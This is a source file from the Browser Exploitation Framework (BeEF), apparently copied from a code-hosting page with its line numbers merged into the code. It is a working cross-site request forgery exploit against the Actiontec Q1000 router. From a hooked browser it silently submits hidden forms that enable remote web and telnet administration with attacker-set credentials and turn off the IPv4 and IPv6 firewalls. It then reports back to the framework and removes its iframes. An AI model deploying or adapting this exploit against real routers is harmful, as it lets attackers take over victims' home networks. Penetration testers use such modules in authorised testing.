Path: blob/master/modules/exploits/router/actiontec_q1000_csrf/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var gateway = '<%= @base %>';9var user = '<%= @user %>';10var passwd = '<%= @password %>';11var port = '<%= @port %>';12var timeout = 15;1314var actiontec_q1000_iframe1_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "advancedsetup_remotegui.cgi", "POST", "application/x-www-form-urlencoded", [15{'type':'hidden', 'name':'serCtlHttp', 'value':'1'},16{'type':'hidden', 'name':'adminUserName', 'value':user},17{'type':'hidden', 'name':'adminPassword', 'value':passwd},18{'type':'hidden', 'name':'remGuiTimeout', 'value':'0'},19{'type':'hidden', 'name':'remGuiPort', 'value':port}20]);2122var actiontec_q1000_iframe2_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "advancedsetup_remotetelnet.cgi", "POST", "application/x-www-form-urlencoded", [23{'type':'hidden', 'name':'serCtlTelnet', 'value':'1'},24{'type':'hidden', 'name':'remTelUser', 'value':user},25{'type':'hidden', 'name':'remTelPass', 'value':passwd},26{'type':'hidden', 'name':'remTelTimeout', 'value':'0'},27{'type':'hidden', 'name':'remTelPassChanged', 'value':'1'}28]);2930var actiontec_q1000_iframe3_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "advancedsetup_firewallsettings.cgi", "POST", "application/x-www-form-urlencoded", [31{'type':'hidden', 'name':'fwLevel', 'value':'Basic'},32{'type':'hidden', 'name':'fwStealthMode', 'value':'0'}33]);3435var actiontec_q1000_iframe4_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "ipv6_firewallsettings.cgi", "POST", "application/x-www-form-urlencoded", [36{'type':'hidden', 'name':'ipv6_fwlevel', 'value':'basic'},37{'type':'hidden', 'name':'ipv6_fwenable', 'value':'0'}38]);3940beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");4142cleanup = function() {43document.body.removeChild(actiontec_q1000_iframe1_<%= @command_id %>);44document.body.removeChild(actiontec_q1000_iframe2_<%= @command_id %>);45document.body.removeChild(actiontec_q1000_iframe3_<%= @command_id %>);46document.body.removeChild(actiontec_q1000_iframe4_<%= @command_id %>);47}48setTimeout("cleanup()", timeout*1000);4950});51525354